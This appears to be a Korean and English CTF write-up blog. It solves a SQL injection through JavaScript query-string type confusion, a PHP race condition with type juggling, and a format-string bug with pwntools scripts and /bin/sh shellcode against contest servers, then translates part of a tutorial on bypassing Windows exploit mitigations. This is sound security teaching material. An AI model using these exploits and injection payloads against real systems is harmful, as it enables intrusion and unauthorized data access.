const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

Code is written in javascript, so the server platform is nodejs.

There is simple sql execution function, it filters some special chars.

 

It filters single-quotor, double-quotor, dash and point. 

If one of bad-char appears, the all remainders will be substituted to '*' char.

 

I thought hard how can I bypass the filter, a solution is javascript type confusion.

 

 

The server source code assumes that 'req.query.q' data type is string, if you send url querystring like "q[]=value&q[]=another", on the server side the value is ["value", "another"] which is javascript array type.

 

Then q[i] is no longer single character but string, so we can bypass the filtering.

The expression ("'or 1=1-- " == "'") is evaluated as false.

 

Moreover, javascript array object also have method "slice" like string. The function slightly differ.

 

If you try to + operation between javascript array and string, the result is string. The array is treated like string.

Then after the expression `slice(0,i) + "*" + slice(i+1, q.length)`, q is now string, we can do the q.substring method below without exception.

 

I coded query string exploit payload builder in javascript.

 

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

For the test, I wrote a query to get the current database name in pg-sql.

 

It works well!

 

I tried to get the column name with information_schema table, but q.substring(0, 80) limit our query length to 80, I did another method.

 

With some functions in pg-sql, we can get the data in 'Criminals' table in json serialized format.

 

 

Gotcha!, We've got the flag

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

 

 

한글 풀이

UI는 아래와 같이 생겼다.

우측에 the source라는 것을 클릭하면 백엔드 소스도 제공을 해준다.

 

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

코드를 보니 nodejs로 백엔드를 작성했다.

간단하게 sql 쿼리를 실행시킬 수 있도록 되어있고, 일부 특수문자들을 필터링하는 것을 알 수 있다.

 

일단 싱글쿼터를 필터링을 해서, 해당 bad character가 나타나면 나머지 모든 글자들을 *로 바꿔버리는 방식이다.

 

이 sql 쿼리 필터링을 어떻게 우회할까 고민을 많이 했는데, 정답은 javascript type confusion이었다.

 

서버코드는 req.query.q가 string일 것을 가정하고 코드가 짜져있는데, url 쿼리스트링에 q[]=value&q[]=another 와 같은 방식으로 전송하면 서버에는 ["value", "another"]과 같은 javascript array형태로 전송이 되게 된다.

 

그러면 some(v => v == q[i])라는 필터링에서도 ["'or 1=1-- ", "garbage"] 이런 값이 전송이 되는 경우 filtering이 제대로 되지 않게 된다. "'or 1=1-- " == "'" 는 당연 false가 나오기 때문.

 

게다가 Javascript array는 slice라는 함수를 동일하게 가지고 있다.

그리고 문자열과 배열간 + 연산을 하게 되면, 배열을 문자열처럼 바뀌어서 concat연산이 되고 그 결과는 문자열이 되어서 아래의 q.substring 함수도 정상적으로 실행을 하게 된다.

 

이러한 조건에 맞는 query string payload를 만들어주는 js 코드를 작성해서 요청을 보내보았다.

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

 일단 테스트 겸 database name을 알아내는 쿼리를 작성해보았다.

결과가 잘 나온다.

 

information_schema로 column 명을 알아내려고 했는데, q.substring(0, 80)의 쿼리 길이 제한때문에 잘 안되서 다른 방법을 사용해보기로 했다.

 

이제 Criminals 테이블의 값을 json형태로 serialize해서 다 빼오는 쿼리를 작성해서 날려보자.

 

flag를 얻었다.

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

후기

https://trustctf.com/

 

2020년 2월 22일 오전 10시 부터 오후 10시까지 진행된 Trust CTF이다.

Trust는 디지털 미디어 고등학교 보안동아리인 것 같고, 거기서 주최한 CTF이다.

특이하게도 static scoring으로 문제 별 스코어가 고정되어 있다.

결과는 마이크체크 문제 제외하고 2문제를 풀었고, 마지막 grade program 문제는 CTF 종료된 이후 풀었다.

푼 문제들에 대한 간단한 풀이들 한번 올려본다.

 

127% Machine

 

MISC문제이다.

 

C코드를 제공한다.

 

서버 코드

서버 코드를 보려면 아래 접은 글을 열면 된다.

더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <math.h>

#define banner_w 56
#define banner_h 10

#define information_w 54
#define information_h 16

char banner[banner_h][banner_w] = {
	{"+=====================================================+"},
	{"|        _     ______     ________                    |"},
	{"|       / /   / ___  \\   / ___   /      _     /       |"},
	{"|      / /   /_/   / /  /_/   / /      (_)   /        |"},
	{"|     / /    _____/ /        / /            /         |"},
	{"|    / /    / _____/        / /            /    _     |"},
	{"|   / /    / /_____        / /            /    (_)    |"},
	{"|  /_/    /_______/       /_/            /            |"},
	{"|                                                     |"},
	{"+=====================================================+"}
};

char information[information_h][information_w] = {
	{"*****************************************************"},
	{"*          - information of this machine -          *"},
	{"*                                                   *"},
	{"*                                                   *"},
	{"*              1. Its maximum is 100%               *"},
	{"*                                                   *"},
	{"*     2. The role of this machine is encoding       *"},
	{"*                                                   *"},
	{"*       3. You should decode its secret code        *"},
	{"*                                                   *"},
	{"*          4. DO NOT USE ABNORMAL APPROACH          *"},
	{"*                                                   *"},
	{"*    last. \"GOOD THINGS COME TO THOSE WHO WAIT\"     *"},
	{"*                                                   *"},
	{"*                 GOOD LUCK! /(>//<)\\               *"},
	{"*****************************************************"}
};



char flag[] = "TRUST{SAMPLE_FLAG}";

unsigned long int pow_x(unsigned long int a, int b);


void print_banner() {
	char load[] = "loading......!";
	for (int i = 0; i < banner_h; i++) {
		for (int j = 0; j < banner_w; j++) 
			printf("%c", banner[i][j]);
		usleep(30000);
		printf("\n");
	}
	printf ("\n");
	usleep(500000);
	for (int i = 0; i < strlen(load); i++) {
		printf("%c", load[i]);
		usleep(40000);
	}
	usleep(100000);
	printf("\n");
	printf("It's ready to operate!\n\n");
	usleep(200000);

	for (int i = 0; i < information_h; i++) {
		for (int  j = 0; j < information_w; j++) {
			printf("%c", information[i][j]);
		}
		usleep(50000);
		printf("\n");
	}
	printf("\n\n");
}

void machine_start() {
	usleep(200000);
	printf("Let's start!\n");
	usleep(50000);
}

void loop() {
	
	unsigned long int sub = 0;

	char auth[127] = {0};
	char response[128] = {0};
	
	int key;
	int comp;

	srand(time(NULL));

	for (int stage = 1; stage <= 127; stage++) {
		
		if (stage == 100) {
			puts("!!machine operate 100%!!");
			puts("┐ ի ޟ d\x3d\x4e\xfe ");
			puts("abnormal approach");
			puts("Please give me pass code");
			key = rand() % 1000000;
			scanf("%d", &comp);
			if (comp == key) {
				puts("Enter Administrator Mode");
			}
		}

		printf("\n%d%% operate\n", stage);
		for (int i = 0; i < stage; i++)
			auth[i] = rand() % 94 + 33;
		for (int i = 0; i < stage; i++) {
			sub = pow_x(127, (rand()%3 + 3)) + (int)auth[i];
			printf("%ld\n", sub);
		}
		read(0, response, 128);
		if (strlen(response) != stage) {
			printf("\nErrorcode 1 : mechanical overload");
			exit(0);
		}
		else if (0 !=  strncmp(auth, response, stage)) {
			printf("\nWrong answer");
			exit(0);
		}
		else continue;		
	}
}


unsigned long int pow_x(unsigned long int a, int b) {
	int x= a;
	a = 1;
	for (int i = 0; i < b; i++)
		a *= x;
	return a;
}


int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char str[128] = {0};
	print_banner();
	machine_start();
	loop();
	printf("PPIBIP! machine operate 127%%!\n");
	printf("%s", flag);

	return 0;
}

 

 

대충 보면, random으로 생성한 값들을 맞추면 되는데, 그냥 랜덤한 값뿐만이아닌 127^3, 127^4, 127^5 를 더해서 알려준다.

근데 랜덤으로 생성한 값이 33 ~ 126 범위의 수에 해당하므로 값의 크기로 어느 값을 더했는지 유추할 수 있다.

이를 이용해서 값을 뺀 것들을 리턴해주면 정답 플래그를 얻을 수 있다.

 

 

Exploit

#!/usr/bin/env python

from pwn import *

p = remote('198.13.32.181', 4337)

def do_oper(stage):
	global p
	var = []
	p.recvuntil("operate\n")
	for i in range(stage):
		value = int(p.recvuntil("\n"))
		for i in range(5, 2, -1):
			if value > 127**i:
				value = value - 127**i
				break
		var.append(value)
	#print var
	res = "".join(map(chr, var))
	#print res
	p.send(res)

for i in range(1, 100):
	print i
	do_oper(i)
p.recvuntil("pass code\n")
p.sendline("1")
for i in range(100, 128):
	print i
	do_oper(i)
p.interactive()

Flag

TRUST{H4H4_sO00000_3a5y!_D1D_you_thought_hardly??}

 

ezrc

웹문제이다.

 

들어가면 간단한 회원가입과 로그인 기능이 있는데, 로그인을 하면 php 소스코드를 보여준다.

 

서버소스

서버 소스를 보려면 접은 글을 펴면 된다.

더보기
<?php session_start(); include 'config.php'; ?>
<?php
    if(!isset($_SESSION['id'])){
        header('Location: ./login.html');
        exit;
    }
?>
<a href="source.php"><button>source code</button><br/></a>

<?php 
$id = $_SESSION['id'];
    $res = mysqli_query($con, "select pw from ezrc where id='$id'");
    $idx = mysqli_fetch_array($res);
    $pw = $idx['pw'];

    $print_query = "select chk from ezrc where id='$id'";
    $hehe_query = "update ezrc set chk='$hehe' where id='$id'";
    $reset_query = "update ezrc set chk='nope' where id='$id'";

    echo "<a href=logout.php>logout</a><br/>";
    echo "your id is ".$id."<br/>";
    if(preg_match("/(tata|dada|zaza)+[a-z]{3}+coco?hehe/", $_GET['key']) && strlen($_GET['key'])>30){
        $res = mysqli_query($con, $print_query);
        $idx = mysqli_fetch_array($res);
        echo "your chk is ".$idx['chk']."<br/>";        
        if($idx['chk'] == $hehe){
            echo $flag."<br/>";
            mysqli_query($con, $reset_query);
            exit("congratulations");
        }
    }
    mysqli_query($con, $hehe_query);
    $str = "trust_is_very_cooool";
    $t = (int)$_GET['times'];
    if($pw == md5(240610708)){
        echo "pw right";
        for($i=0; $i<$t; $i=$i+1){
            for($j=0; $j<$t; $j=$j+1){
                $str = md5($str);
            }
        }
        if($str == "d91a2796ab967c9793ef1c628a91fac5"){
            echo $flag;
        }
        else{
            mysqli_query($con, $reset_query);
        }
    }
    else{
        mysqli_query($con, $reset_query);
    }
?>

 

대충 보면 햇갈릴 수도 있는데 일단 flag를 얻을 수 있는 방법은 2가지가 있다.

db에 chk값이 $hehe와 동일 하거나, "trust_is_very_coool"를 여러번 md5해서 나온 값이 d91뭐시기 하는 값과 일치하면 된다.

 

근데 trust_is_very_cool을 매우 많이 md5를 구해보았는데, 같은 값은 나오진 않았다.

 

약간 특이한 부분이 exit("congratulation"); 이후에 sql query를 실행하는데, 이때 유저 db의 chk값이 $hehe와 같아진다.

 

그리고 아래에서 md5를 여러번 하는 행위 이후에는 다시 chk값이 'nope'로 바뀌게 된다.

이 찰나의 순간을 노리는 Race condition 공격을 할 수 있다면?

 

게다가 md5를 여러번 취할때는 몇 번을 취할 것인지는 user input인 $_GET['times']에 의해 결정되므로, int_max값을 넣어서 그 제곱에 해당하는 md5를 연산하게 하여 시간차를 만들 수 있다.

 

if($pw == md5(240610708)){

 

이 코드를 pass해야 하는 부분은 우항을 md5를 시켜보면 0e123123와 대략 같은 꼴의 문자열이 나오는데, 이는 php의 loose comparision에 의한 type juggling 취약점으로 연결된다. 패스워드를 0000으로 지정하면 if문이 true로 되므로 쉽게 bypass가능하다.

 

그래서 한 녀석으로는 대충
http://198.13.32.181:4345/index.php?key=tatatatatatadadadadadadadadatatadadazazaabccocohehe

와 같은 요청을 보내서 regex를 맞추게 하고, 나머지녀석으로는 

http://198.13.32.181:4345/index.php?times=2147483600

와 같은 요청을 보내서 chk를 $hehe와 같게 만든 뒤 시간을 끌게 하면된다.

 

근데 같은 쿠키 값으로 하면 race condition으로 되지 않으므로 다른 php sess id를 갖는 브라우저 2개를 띄워서 시간차로 하면 flag 값을 구할 수 있다.

Flag

TRUST{Hell0_th1s_my_f1r5t_cha1lenge!!!!}

grade program

포나블 문제이다.

 

바이너리를 IDA로 디컴파일 해보면 32bit ELF인 것을 알 수 있고 몇가지의 기능이 있다.

그리고 checksec을 해보면 RWX segment가 존재하고, NX 및 PIE가 꺼져있다.

그래서 ASLR만 있다고 보면 된다.

 

1번 명령어를 쓰면, 랜덤한 간단한 사칙연산 문제를 풀게 된다. 그 문제를 푸는 수 만큼 점수가 기록이 되고, 이 점수는 exam() 함수에서 리턴이 된다.

이 결과 값은 main문에 지역변수에 있는 char buffer[] 에 하나씩 기입이 된다.

trials변수는 99이하까지 되므로, 총 99byte를 buffer에다가 쓸 수 있는 셈이 된다.

 

그리고 3을 누르면 버퍼를 다 비울 수 있고, 2를 누르면 그 format이라고 되있는 버퍼를 printf하는데 여기서 Format string bug가 발생된다는 것을 알 수 있다.

 

익스플로잇 테크닉은 다양하게 가져갈 수 있는데, RWX segment가 존재하고, NX 및 PIE가 꺼져있으므로 간단하게 shell code를 올려서 실행하는 식으로 가져가보았다. 그리고 stack canary는 존재했다.

 

shell code로 pc를 변경하는 방식은 어떻게 할 까 햇는데, how함수, exam함수 등을 호출할 때 함수의 주소값을 스택에 저장한 뒤 그 값을 호출하는 방식으로 how 함수를 호출한다는 점을 이용해서 스택에 있는 how함수의 주소값을 shellcode 시작 주소로 fsb를 통해 write하는 식으로 pc를 변경하도록 했다.

이후 0번 매뉴를 키면 shellcode로 점프할 수 있다.

 

근데 format 버퍼의 값을 쓸 때, 만약 첫번째 값, buffer[0]에 ascii 76에 해당하는 값을 쓰려면 사칙연산 문제를 76개를 풀어야 한다. 그래서 로컬에서는 금방 되지만, 서버에 payload를 구성할때는 생각보다 시간이 많이 걸리게 된다. 

 

그래서 shellcode를 처음에는 bss에 write하려다가, 너무 오래걸려서 format 버퍼 자체에 shellcode를 올려서 실행시키는 방법을 이용했다.

 

 

Exploit 코드

#!/usr/bin/env python

from pwn import *

# p = process('./grade')
p = remote('198.13.32.181', 9316)

bss_addr = 0x804b040
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
def clear_res():
	global p
	p.recvuntil(">>>")
	p.sendline("3")
	p.recvuntil("cleared")

def solve_prob(correct= True):
	global p
	prob = p.recvuntil("=")[:-1]

	res = 0
	if "+" in prob:
		operand = map(int, prob.split("+"))
		res = reduce(lambda x,y: x+y, operand)
	elif "-" in prob:
		operand = map(int, prob.split("-"))
		res = reduce(lambda x,y: x-y, operand)
	elif "*" in prob:
		operand = map(int, prob.split("*"))
		res = reduce(lambda x,y: x*y, operand)
	elif "%" in prob:
		operand = map(int, prob.split("%"))
		res = reduce(lambda x,y: x%y, operand)
	else:
		print ("ERROR!!!")
	if correct == False:
		p.sendline(str(res+100))
	else:
		p.sendline(str(res))


def write_char(chcode):
	global p
	p.recvuntil(">>>")
	p.sendline("1")
	p.recvuntil("probs")
	for i in range(0, chcode):
		# log.info("solving prob ...[{}/{}]".format(i, chcode))
		solve_prob()
	solve_prob(False)

def insert_mystring(payload):
	clear_res()
	for i, c in enumerate(payload):
		log.info("insert payload [{}/{}]".format(i, len(payload)))
		write_char(ord(c))

def print_format_string():
	global p
	p.recvuntil(">>>")
	p.sendline("2")


# leak
insert_mystring("%6$p")
print_format_string()
p.recvuntil("scores")
fs_addr = int(p.recvuntil("=")[:-1], 16)
how_func_addr = fs_addr - 16 # how function address


print "fs_addr = {}".format(hex(fs_addr))
print "how_func_addr = {}".format(hex(how_func_addr))

def write_byte(addr, value):
	if value == 4:
		insert_mystring(p32(addr) + "%7$hhn")
	elif value > 4:
		insert_mystring(p32(addr) + "%" + str(value - 4) +"c%7$hhn")
	print_format_string()


# raw_input("pause~")

for i in range(0, 4):
	log.info("overwriting pc pointer [{}/4]...".format(i+1))
	byte = p32(fs_addr)[i]
	write_byte(how_func_addr+i, ord(byte))

# raw_input("pause 2")
log.info("Injecting shell code...")
insert_mystring(shellcode)
# raw_input("pause 3")

log.info("Jump to the shell code")
p.recvuntil(">>>")
p.sendline("0")
p.interactive()
# b* 0x8048c0b

Flag

TRUST{F0rM4t_str1n9_h4v3n!!}

https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/

 

Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR | Corelan Team

Introduction In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP / 2003 server. The success of all of these exploits (w

www.corelan.be

본 포스팅은 위 링크 글을 번역 및 공부하면서 따라해보는 포스팅입니다.

 

------------------------------------------

도입

이전 튜토리얼 시리즈에서 우리는 Windows XP랑 2003 서버에서 익스플로잇을 작성해보았습니다. 기존에 성공한 익스플로잇들은 pop/pop/ret 가젯 주소가 잘 찾아진다는 것과 안정적인 return을 할 수 있다는 것에 기반해서 쉘코드로 성공적으로 점프했죠. 모든 경우에서 우리는 운영체제의 dll이나 앱의 dll에서 적당한 주소를 찾아가지고 갔습니다. 

그리고 이러한 주소들은 재부팅을 하더라도 동일하게 유지가 되어서 안정적으로 익스플로잇을 작성할 수 있었지요.

 

하지만 다행스럽게도 엄청난 수의 윈도우즈 계열 사용자들은 윈도우즈 시스템에 기본적으로 내장된 보호기법들이 적용되어 있습니다.

 

- 스택 쿠키(/GS Switch 쿠키)

- Safeseh (/Safeseh 컴파일러 switch)

- 데이터 실행 방지(DEP) (소프트웨어 기반이든 하드웨어 기반이든)

- 주소공간 배열 랜덤화(ASLR)

 

스택 쿠키 /GS 보호기법

스택 쿠키는 컴파일러 옵션입니다. 함수의 프롤로그와 에필로그에 스택 기반 오버플로를 막는 코드들을 삽입하는 거죠.

 

프로그램 실행 시 Data 섹션에 쿠키 원래값(Authoritive cookie)을 하나 랜덤하게 만들어서 저장을 해 놓고, 함수 프롤로그에 스택 사이에 스택 쿠키를 삽입하고, 리턴하기 직전에 스택 쿠키값이 Data 섹션에 있는 녀석과 같은지를 확인하는 방식입니다.

스택 프레임이 다음과 같이 구성되겠지요

 

[지역 변수][stack cookie][saved ebp][ret addr][param]

---------------------------------------->

그래서 ret addr를 변조하려면 stack cookie가 먼저 변조가 되게 됩니다.

 

그래서 stack 영역에 있는 buffer overflow 기반으로 인한 공격들을 막을 수 있게 됩니다. 

그리고 이 보호기법의 성능 이슈를 줄이기 위해서, 지역변수에 뭔가 입력을 받는 버퍼가 없는 경우에는 스택 쿠키를 삽입하지 않습니다. 

 

그리고 /GS 보호기법에는 스택 쿠키 외에도, 지역변수 순서 변경(reordering)도 있습니다. 크기가 좀 있는 버퍼들의 경우, 즉 char[]과 같은 문자열 버퍼같은 녀석은 스택의 상위 주소로 두어서, 이 녀석이 buffer overrun이 되어도 int 와 같은 지역변수들을 오염시키지 못하게 합니다.

 

스택 쿠키 /GS 우회하기

스택 쿠키를 우회하는 방법은 다양하게 있겠지만, 쿠키 값을 알아내거나(추측하거나 계산하거나 메모리 값을 들여다 보는 경우)하는 경우 같은 값을 다시 넣어주면 됩니다.

 

그렇게 하지 않더라도 .Data 섹션에 있는 원래 쿠키값(Authoritive cookie)를 변경하는 방법도 있습니다.

이걸 하려면은 메모리에 대하여 arbitrary write이 가능해야겠지요? 임의의 메모리 주소에 값을 쓸 수 있어야지 .Data 섹션의 authoritive cookie를 덮어쓸 수 있을 것입니다.

 

그 외에도 SEH가 있다면 이전 포스팅에서 했던 것 처럼, SEH overwrite으로 우회가 가능합니다.

왜냐면 함수가 리턴하기 전에 스택 쿠키 값이 valid한지 체크를 하는데, 만약 authoritive cookie와 값이 다르다면 Exception이 발생하게 됩니다. 따라서 SEH로 제어권이 넘어가게 되는데, 이때 SEH는 우리가 덮어쓴 값이므로 결국 제어권이 공격자의 손에 떨어지게 되지요.

 

그 외에도 buffer write이 없는 함수의 스택 프레임에는 쿠키가 없으므로 이를 이용해서 공격을 하는 경우나, ret나 saved ebp까지 덮어쓰지 않고 스택에 있는 지역변수만 덮는 식으로도 공격이 가능한 경우에도 스택쿠키를 우회할 수 있습니다.

 

스택 쿠키 값을 추측하거나 계산해서 풀기도 하고, 쿠키 값이 변하지 않는경우(static) 이를 이용해서 우회하기도 합니다.

 

혹은 가상함수 포인터를 호출할 때, 호출하는 변수가 스택에 남아있는 경우가 있습니다. 이런경우에도 지역변수만을 덮어써도 제어권을 가져갈 수 있습니다.

 

 

SafeSEH

SafeSEH는 SEH overwrite을 막기 위한 보호기법입니다. 기존의 SafeSEH가 적용되지 않은 녀석과 다른점이라고 하면, 컴파일할때 SEH가 가능한 함수 주소 리스트를 다른곳에 따로 가지고 있습니다. 그리고 SEH에서 Exception Handling을 할 때, SEH에 쓰여있는 주소가 가능한 함수 주소 리스트에 있는 녀석이 맞는지 확인을 한 뒤, 맞는 경우에만 SEH로 넘어가게 됩니다. 여기 리스트에 해당하지 않는 경우에는 변조된 핸들러로 넘어가지 않고 그냥 프로그램이 종료되게 됩니다. MS에서 이 옵션을 꽤 안정적이게 잘 만들었고, 그래서 많은 OS모듈들이 이 옵션을 가지고 컴파일이 됩니다.

 

SafeSEH 우회하기

가장 쉬운 방법은 SEH based exploit을 안하면 됩니다.

 

아니면 다른 로드된 모듈중에서 SafeSEH가 안되있는 녀석이 있으면 그녀석을 이용해서 익스플로잇을 하면 됩니다.

 

SafeSEH는 어쨋든 우회하기 꽤 빡센 보호기법 중 하나라고 볼 수 있습니다.

 

하지만 우회할 수 있는 몇가지 방법들이 있긴합니다. 케이스 별 특징을 몇가지 알아보겠습니다.

- 만약 handler의 주소가 로드된 모듈의 주소 범위 밖이라면 실행이 됩니다.(SafeSEH가 안전하다고 판단하고 실행해버림)

- 만약에 핸들러 주소가 로드된 모듈 주소 범위안에 있는 경우, 그리고 그 모듈이 Load Configuration Directory가 없는 경우 이 DLL 특성은 SE Handler Verification 시험을 통과해서, handler가 실행이 될 것입니다.

- 만약 핸들러의 주소가 스택 주소 범위라면, 실행이 안 될 것입니다. 하지만 힙 주소로 overwrite되었다면 실행이 됩니다.(하지만 힙 주소는 예측하기가 훨신 어렵지요)

- 만약 handler 주소가 이미 등록된 핸들러 주소로 덮어쓰였다면, 정상적으로 SEH로 넘어가게 됩니다. 이 경우는 기존에 있는 핸들러가 쉘코드를 깨지 않고 익스플로잇 하는데에 도움이 되는 경우입니다. 그리고 이런경우가 드물긴 한데 실제로 일어나기도 한다고 합니다.

 

범위 주소 밖 모듈 이용하기

위에서 SafeSEH에서 Handler 주소가 안전한지 확인하는 과정 중에서 자신의 로드된 모듈 주소 범위를 벗어나는 경우 안전한것으로 간주한다는 점이 있습니다. 다른 모듈의 경우 또다시 확인을 해야하는 번거로움이 있어서 그냥 진행하는 것으로 보입니다. 이를 이용해서 공격이 가능합니다.

 

물론 다른 모듈을 이용한다는 것은 다른 프로세스가 떠있다는 것을 가정하고 공격이 이루어지는것인데, 이게 OS모듈을 이용해서 공격을 한다면, 이 공격은 OS 버전에 따라 모듈이 달라질 수 있으므로 덜 reliable한 익스플로잇이 되게 됩니다.

따라서 좀 더 복잡한 공격이 될 수 있습니다.

 

 

DEP(Data Execution Prevention)

여태까지 쉘코드를 다 스택에다가 올려놓고 실행을 시켰는데, 이 스택 영역은 원래 데이터 영역이라 코드가 실행되는 구간이 아닙니다. 이를 이용해서 데이터 영역은 코드 실행 권한을 빼버리는 방식의 보안 기법이 고안되었는데 이것이 DEP입니다.

 

DEP는 윈도우 XP 서비스팩2에서 도입이 되었습니다. 그리고 이 DEP는 하드웨어 DEP가 데이터 영역 실행 방지라고 보면되고, 소프트웨어 DEP는 SafeSEH랑 똑같다고 볼 수 있습니다.

 

소프트웨어 DEP는 NX나 XD 비트와는 전혀 관련이 없습니다. 만약 프로세서나 시스템에서 NX/XD 비트가 지원이 되고 활성화가 되어 있으면 Windows DEP는 하드웨어 DEP와 동일합니다. 만약 프로세서가 지원을 하지 않는다면 DEP는 없고 SafeSEH만 가능하다고 보면 됩니다.

 

프로세서 벤더의 양대 산맥은 자기들만의 실행불가한 페이지 보호기법(하드웨어 DEP)을 구현했습니다.

 

암드(AMD)는 no-execute page-protection(NX) 비트를 사용하고 인텔은 Execute Disable Bit(XD) 기능을 개발했습니다.

 

NX/XD 비트

하드웨어 도입 DEP는 호환이 되는 CPU에서 32비트 윈도우 커널에서 PAE(Physical Address Extension)나 아니면 네이티브 64비트 커널의 사용을 통해서 NX비트를 활성화 시킵니다. 윈도 비스타 DEP는 일부 메모리 바트를 데이터용으로만 쓰겟다고 마킹을 한 뒤, NX비트나 XD비트를 체크해서 프로세서가 이 부분은 실행하지 않도록 합니다.

 

NX 보호기법의 컨샙은 매우 간단합니다. 만약 하드웨어가 지원하는 NX가 있다면, BIOS에서 NX를 활성화 시키고, 운영체제가 지원한다면 시스템 서비스는 보호받을 수 있습니다. MSVC와 같은 컴파일러에서 링킹 시 flag를 주어서(/NXCOMPAT) 어플리케이션에 DEP 보호기법을 적용하도록 할 수 있습니다.

 

HW DEP 우회하기

DEP를 우외하는 몇가지 잘 알려진 테크닉들을 소개합니다.

 

ret2libc(쉘코드 사용하지 않음)

이 테크닉은 쉘코드로 점프뛰는 대신, 이미 존재하는 라이브러리나 함수를 호출하는 방식입니다. 이미 존재하는 함수들로 공격자의 악성 코드를 실행하는 것입니다.

 

 

-------------------------------------------------------------

 

+ Recent posts